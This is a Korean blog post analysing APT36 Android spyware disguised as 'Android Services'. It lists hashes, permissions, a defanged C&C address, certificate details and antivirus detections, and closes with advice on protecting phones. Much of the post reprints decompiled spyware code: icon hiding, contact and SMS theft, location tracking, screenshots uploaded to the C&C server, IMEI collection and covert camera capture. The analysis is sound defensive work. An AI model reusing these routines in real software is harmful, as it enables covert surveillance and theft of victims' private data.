꿈을꾸는 파랑새

오늘은 인도 정부 또는 인도 국방부 직원을 표적을 하는 악성코드인 Android Services(2018.8.10)에 대해 글을 적어 보겠습니다. 해당 악성코드는 APT36(Earth Karkaddan)이라고 하는 APT(Advanced Persistent Threat) 그룹으로 역사적으로 인도의 군사 및 외교 자원을 표적으로 하고 있으며 파키스탄에 기반을 두고 있습니다.그래서 인도 쪽을 공격하는 것입니다.

한국으로 치면 킴수키(Kimsuky)가 한국의 공공시설 등을 공격하는 거와 비슷하다고 생각을 하시면 됩니다. 일단 해당 악성코드가 정상적으로 작동하면 기본적으로 다음과 같은 공격을 수행합니다. 연락처, 통화 기록, SMS, 위치와 같은 민감한 데이터를 훔치고, 스크린 샷을 찍고, 통화를 녹음하고, 오디오를 녹음하고, SMS(문자) 등을 수집합니다.
일단 기본적인 해쉬값은 다음과 같습니다.
파일명: Android Services.apk
사이즈:1.12 MB
CRC32:31e326fa
MD5:8f7ae0247080ee60155670b582f07715
SHA-1:d919125076499a2e7b0cd16d692dfcb657867890
SHA-256:d9979a41027fe790399edebe5ef8765f61e1eb1a4ee1d11690b4c2a0aa38ae42
이며 기본적인 안드로이드 악성코드 권한은 다음과 같습니다.

Android Services 악성코드 권한
Android Services 악성코드 권한

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
<uses-permission android:name="android.permission.READ_INSTALL_SESSIONS"/>

악성코드 스마트폰 설치
악성코드 스마트폰 설치

입니다. 앞서 이야기한 것처럼 녹음, 문자 읽고 문자 보내고, 전화 걸고 카메라 작동하고 전화 로그 읽고
애플리케이션 캐시 클리어 기능 등이 포함된 것을 확인할 수가 있으며 C&C 서버는 다음과 같습니다.

악성코드 C&C 서버
악성코드 C&C 서버

http://android.viral91(.)xyz/admin/webservices

입니다. 그리고 hideApp() 를 통해서 hideApp() 악성코드가 스마트폰 기 화면에서 아이콘을 숨기는 데 사용하는 코드가 삽입된 것을 볼 수가 있습니다.

앱 아이콘 숨기기
앱 아이콘 숨기기

private void hideApp() {
        try {
            getPackageManager().setComponentEnabledSetting(new ComponentName(this, MainActivity.class), 2, 1);
        } catch (Exception e) {
        }
    }

listContacts를 통해서 스마트폰의 악성코드 피해자의 전화번호, 이메일과 같은 연락처 데이터에 접근하는 데 사용되는 것을 확인할 수가 있습니다.

악성코드 전화 번호 등 개인정보 접근
악성코드 전화 번호 등 개인정보 접근

public class ContactsLister {
    public JSONObject listContacts(Context c, String where) {
        try {
            JSONObject contacts = new JSONObject();
            ContentResolver cr = c.getContentResolver();
            Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, where, null, " DISPLAY_NAME ");
            JSONArray arry = new JSONArray();
            if (cur.getCount() <= 0) {
                return null;
            }
            while (cur.moveToNext()) {
                JSONObject con = new JSONObject();
                String id = cur.getString(cur.getColumnIndex("_id"));
                long idlong = cur.getLong(cur.getColumnIndex("_id"));
                int times_contacted = cur.getInt(cur.getColumnIndex("times_contacted"));
                long last_time_contacted = cur.getLong(cur.getColumnIndex("last_time_contacted"));
                String disp_name = cur.getString(cur.getColumnIndex("display_name"));
                int starred = cur.getInt(cur.getColumnIndex("starred"));
                con.put("_id", idlong);
                con.put("last_time_contacted", last_time_contacted);
                con.put("times_contacted", times_contacted);
                con.put("disp_name", disp_name);
                con.put("starred", starred);
                if (Integer.parseInt(cur.getString(cur.getColumnIndex("has_phone_number"))) > 0) {
                    Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = ?", new String[]{id}, null);
                    ArrayList<String> phones = new ArrayList<>();
                    while (pCur.moveToNext()) {
                        phones.add(pCur.getString(pCur.getColumnIndex("data1")));
                    }
                    pCur.close();
                    con.put("phones", phones);
                    Cursor emailCur = cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, "contact_id = ?", new String[]{id}, null);
                    if (emailCur.getCount() != 0) {
                        ArrayList<String> emails = new ArrayList<>();
                        while (emailCur.moveToNext()) {
                            emails.add(emailCur.getString(emailCur.getColumnIndex("data1")));
                        }
                        emailCur.close();
                        con.put("emails", emails);
                    }
                    Cursor noteCur = cr.query(ContactsContract.Data.CONTENT_URI, null, "contact_id = ? AND mimetype = ?", new String[]{id, "vnd.android.cursor.item/note"}, null);
                    if (noteCur.getCount() != 0) {
                        ArrayList<String> notes = new ArrayList<>();
                        if (noteCur.moveToFirst()) {
                            notes.add(noteCur.getString(noteCur.getColumnIndex("data1")));
                        }
                        noteCur.close();
                        con.put("notes", notes);
                    }
                    Cursor addrCur = cr.query(ContactsContract.Data.CONTENT_URI, null, "contact_id = ? AND mimetype = ?", new String[]{id, "vnd.android.cursor.item/postal-address_v2"}, null);
                    if (addrCur.getCount() != 0) {
                        while (addrCur.moveToNext()) {
                            String street = addrCur.getString(addrCur.getColumnIndex("data4"));
                            String city = addrCur.getString(addrCur.getColumnIndex("data7"));
                            String state = addrCur.getString(addrCur.getColumnIndex("data8"));
                            String postalCode = addrCur.getString(addrCur.getColumnIndex("data9"));
                            String country = addrCur.getString(addrCur.getColumnIndex("data10"));
                            int type = addrCur.getInt(addrCur.getColumnIndex("data2"));
                            con.put("street", street);
                            con.put("city", city);
                            con.put("state", state);
                            con.put("postalCode", postalCode);
                            con.put("country", country);
                            con.put("type", type);
                        }
                        addrCur.close();
                    }

그리고 악성코드는 문자에 접근하는 것을 확인할 수가 있습니다.

악성코드 문자 접근
악성코드 문자 접근

public class SMSLister {
    JSONObject sms_logs;

    private String getDate(long time) {
        Calendar cal = Calendar.getInstance(Locale.ENGLISH);
        cal.setTimeInMillis(time);
        return DateFormat.format("yyyy-MM-dd hh:mm:ss", cal).toString();
    }

    public JSONObject listSMS(Context c, String where) {
        try {
            this.sms_logs = new JSONObject();
            Cursor cursor = c.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "thread_id", "address", "person", "date", "read", "body", "type"}, where, null, "date DESC");
            if (cursor.getCount() == 0) {
                return null;
            }
            JSONArray arry = new JSONArray();
            cursor.moveToFirst();
            do {
                if (cursor.getColumnCount() != 0) {
                    JSONObject json = new JSONObject();
                    json.put("_id", cursor.getString(cursor.getColumnIndex("_id")));
                    json.put("thread_id", cursor.getString(cursor.getColumnIndex("thread_id")));
                    json.put("address", cursor.getString(cursor.getColumnIndex("address")));
                    json.put("person", cursor.getString(cursor.getColumnIndex("person")));
                    json.put("date", getDate(Long.parseLong(cursor.getString(cursor.getColumnIndex("date")))));
                    json.put("read", cursor.getString(cursor.getColumnIndex("read")));
                    json.put("body", cursor.getString(cursor.getColumnIndex("body")));
                    json.put("type", cursor.getString(cursor.getColumnIndex("type")));
                    arry.put(json);
                }
            } while (cursor.moveToNext());
            this.sms_logs.put("userdata", arry);
            return this.sms_logs;
        } catch (Exception e) {
            return null;
        }
    }
}

GPS와 연결된 네트워크 모두에서 장치 위치를 수집하는 데 사용되는 코드들도 보입니다.

GPS 그리고 네트워크 수집
GPS 그리고 네트워크 수집

public void getStatus() {
        try {
            this.locationManager = (LocationManager) this.mContext.getSystemService("location");
            setting.isNetworkEnabled = this.locationManager.isProviderEnabled("network");
            setting.isGPSEnabled = this.locationManager.isProviderEnabled("gps");
        } catch (Exception e) {
        }
    }

    public Location getLocByNetwork() {
        try {
            this.locationManager = (LocationManager) this.mContext.getSystemService("location");
            setting.isNetworkEnabled = this.locationManager.isProviderEnabled("network");
            if (setting.isNetworkEnabled) {
                this.locationManager.requestLocationUpdates("network", MIN_TIME_BW_UPDATES, (float) MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
                if (this.locationManager != null) {
                    this.location = this.locationManager.getLastKnownLocation("network");
                    if (this.location != null) {
                        this.latitude = this.location.getLatitude();
                        this.longitude = this.location.getLongitude();
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return this.location;
    }

    public Location getLocByGPS() {
        try {
            this.locationManager = (LocationManager) this.mContext.getSystemService("location");
            setting.isGPSEnabled = this.locationManager.isProviderEnabled("gps");
            if (setting.isGPSEnabled) {
                this.locationManager.requestLocationUpdates("gps", MIN_TIME_BW_UPDATES, (float) MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
                if (this.locationManager != null) {
                    this.location = this.locationManager.getLastKnownLocation("gps");
                    if (this.location != null) {
                        this.latitude = this.location.getLatitude();
                        this.longitude = this.location.getLongitude();
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return this.location;
    }

악성코드를 제작한 명령에 스마트폰 화면을 캡처해서 C&C 서버로 보내는 것을 확인할 수가 있습니다.

악성코드 화면 캡처
악성코드 화면 캡처

public void take() {
        this.handler = new Handler();
        this.handler.postDelayed(new Runnable() { // from class: com.example.appcode.appcode.ScreenShot.2
            @Override // java.lang.Runnable
            public void run() {
                ScreenShot.this.capture();
            }
        }, 1L);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public void capture() {
        Date now = new Date();
        DateFormat.format("hh:mm:ss", now);
        try {
            File capDir = new File(setting.capPath);
            if (!capDir.exists()) {
                capDir.mkdirs();
            }
            String mPath = setting.capPath + now + ".jpg";
            View v1 = getWindow().getDecorView().getRootView();
            v1.setDrawingCacheEnabled(true);
            Bitmap bitmap = Bitmap.createBitmap(v1.getDrawingCache());
            v1.setDrawingCacheEnabled(false);
            FileOutputStream outputStream = new FileOutputStream(new File(mPath));
            bitmap.compress(Bitmap.CompressFormat.JPEG, setting.capQuality, outputStream);
            outputStream.flush();
            outputStream.close();
            this.jObj.getJSONObject("header").put("VAL", mPath);
            this.CMD.upload.uploadToServer(this.jObj);
        } catch (Throwable e) {
            this.CMD.updateStatus(this.CID, "-1");
            e.printStackTrace();
        }
    }
}

전화번호, IMEI, 국가 코드, 통신사 세부 정보 등 기기의 세부 정보를 수집하는 악성 코드가 수집하는 것을 볼 수가 있습니다.

스마트폰 전화번호 IMEI 등 수집
스마트폰 전화번호 IMEI 등 수집

public String networkInfo() {
        String type;
        ConnectivityManager cm = (ConnectivityManager) this.ctx.getSystemService("connectivity");
        cm.getNetworkInfo(1).isAvailable();
        NetworkInfo network = cm.getNetworkInfo(0);
        if (network == null || !(network.getSubtype() == 1 || network.getSubtype() == 2)) {
            type = "3G";
        } else {
            type = "2G";
        }
        return type;
    }

    public String getPhoneNumber() {
        return this.f15tm.getLine1Number();
    }

    public String getIMEI() {
        return this.f15tm.getDeviceId();
    }

    public String getCountryCode() {
        return this.f15tm.getNetworkCountryIso();
    }

    public String getOperatorName() {
        return this.f15tm.getNetworkOperatorName();
    }

    public String getSimCountryCode() {
        return this.f15tm.getSimCountryIso();
    }

    public String getSimOperatorCode() {
        return this.f15tm.getSimOperator();
    }

    public String getSimSerial() {
        return this.f15tm.getSimSerialNumber();
    }
}

그리고 스마트폰의 후면 카메라를 작동하는 코드가 있는 것을 확인할 수가 있습니다.

스마트폰 후면 카메라 작동
스마트폰 후면 카메라 작동

public boolean backCam() {
        if (!this.ctx.getApplicationContext().getPackageManager().hasSystemFeature("android.hardware.camera")) {
            return false;
        }
        Log.i("PhotoTaker", "Just before Open !");
        try {
            this.cam = Camera.open();
            Log.i("PhotoTaker", "Right after Open !");
            if (this.cam == null) {
                return false;
            }
            try {
                this.holder = new SurfaceView(this.ctx).getHolder();
                this.cam.setPreviewDisplay(this.holder);
                this.cam.startPreview();
                this.cam.takePicture(null, null, this.pic);
                return true;
            } catch (IOException e) {
                return false;
            }
        } catch (Exception e2) {
            return false;
        }
    }

    @SuppressLint({"NewApi"})
    public boolean frontCam() {
        try {
            if (!this.ctx.getApplicationContext().getPackageManager().hasSystemFeature("android.hardware.camera")) {
                return false;
            }
            Log.i("PhotoTaker", "Just before Open !");
            try {
                getFrontCameraId();
                if (this.fcam != -1) {
                    this.cam = Camera.open(this.fcam);
                } else {
                    this.cam = Camera.open();
                }
                Log.i("PhotoTaker", "Right after Open !");
                if (this.cam == null) {
                    return false;
                }
                try {
                    this.holder = new SurfaceView(this.ctx).getHolder();
                    this.cam.setPreviewDisplay(this.holder);
                    this.cam.startPreview();
                    this.cam.takePicture(null, null, this.pic);
                    return true;
                } catch (IOException e) {
                    return false;
                }
            } catch (Exception e2) {
                return false;
            }
        } catch (Exception e3) {
            return false;
        }
    }

그리고 해당 악성코드에서는 updateApp,GiveCall,sendSMS를 악용을 해서 문자를 보내고 C&C에 모든 번호로 전화를 걸고 악성코드를 업데이트 를 하면 C&C와 명령을 수행하는 것을 볼 수가 있습니다.
capraRAT는 연락처, 통화 기록, SMS, 위치, 오디오 녹음 등을 포함하여 인도 정부 직원의 민감한 데이터를 훔칠 가능성이 있는 원격 액세스 트로이 목마 활동을 수행할 수 있는 그룹에서 사용하는 악성 안드로이드 앱 입니다. 예방 방법은 간단합니다. 여러분의 스마트폰에 공신력 있는 백신앱을 설치를 하고 실시간 감시, 실시간 업데이트를 하는 것입니다.

물론 이런 작업으로 CPU,램,배터리 소모는 있겠지만, 개인정보를 위해서 이런 부분은 신경을 쓰는 것이 좋으면 기본적으로 구글 플레이 스토어에서도 악성코드가 있지만, 기본적으로 구글 플레이 스토어에서 앱을 설치 스마트폰의 모든 권한을 활성화하는 것은 위험합니다.
해당 악성코드 인증서 정보는 다음과 같습니다.

악성코드 인증서 정보
악성코드 인증서 정보

서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 1
시리얼 번호: 0xe6efd52a17e0dce7
소유자: EMAILADDRESS=lorenz@londatiga(.)net, CN=Lorensius W. L. T, OU=AndroidDev, O=Londatiga, L=Bandung, ST=Jawa Barat, C=ID
유효 시작 시각: Wed May 05 18:21:38 GMT+09:00 2010
유효 종료 시각: Mon Jan 28 18:21:38 GMT+09:00 2013

2022-02-12 15:01:06 UTC 바이러스토탈 기준으로 탐지하는 보안 업체는 다음과 같습니다.
Alibaba:TrojanSpy:Android/Androrat.0461f1d1
Antiy-AVL:Trojan/Generic.ASMalwAD.D9A
Avast:Android:Androrat-BK [Trj]
Avast-Mobile:Android:Androrat-BK [Trj]
AVG:Android:Androrat-BK [Trj]
BitDefenderFalx:Android.Riskware.TaJawaBar.A
CAT-QuickHeal:Android.Androrat.O78e2 (PUP)
DrWeb:Android.Androrat.10.origin
ESET-NOD32:A Variant Of Android/Spy.AndroRAT.O
Fortinet:Android/Fyec.JZ!tr
Ikarus:Trojan.AndroidOS.AndroRAT
K7GW:Trojan ( 0054e98d1 )
Kaspersky"HEUR:Backdoor.AndroidOS.Agent.dw
Kingsoft"Android.Troj.at_cmdspy.a.(kcloud)
Lionic:Trojan.AndroidOS.Fyec.C!c
MAX:Malware (ai Score=100)
McAfee:Artemis!8F7AE0247080
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Program:AndroidOS/Multiverze
NANO-Antivirus:Trojan.Android.AndroRat.emvsvg
Sophos:Andr/Spy-BFJ
Symantec:Trojan.Gen.2
Symantec Mobile Insight:Trojan:Opfake
Tencent:A.privacy.AptGellery
Trustlook:Android.Malware.CloudAV
입니다. 기본적으로 인지도가 있는 백신앱을 설치를 하시면 될 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band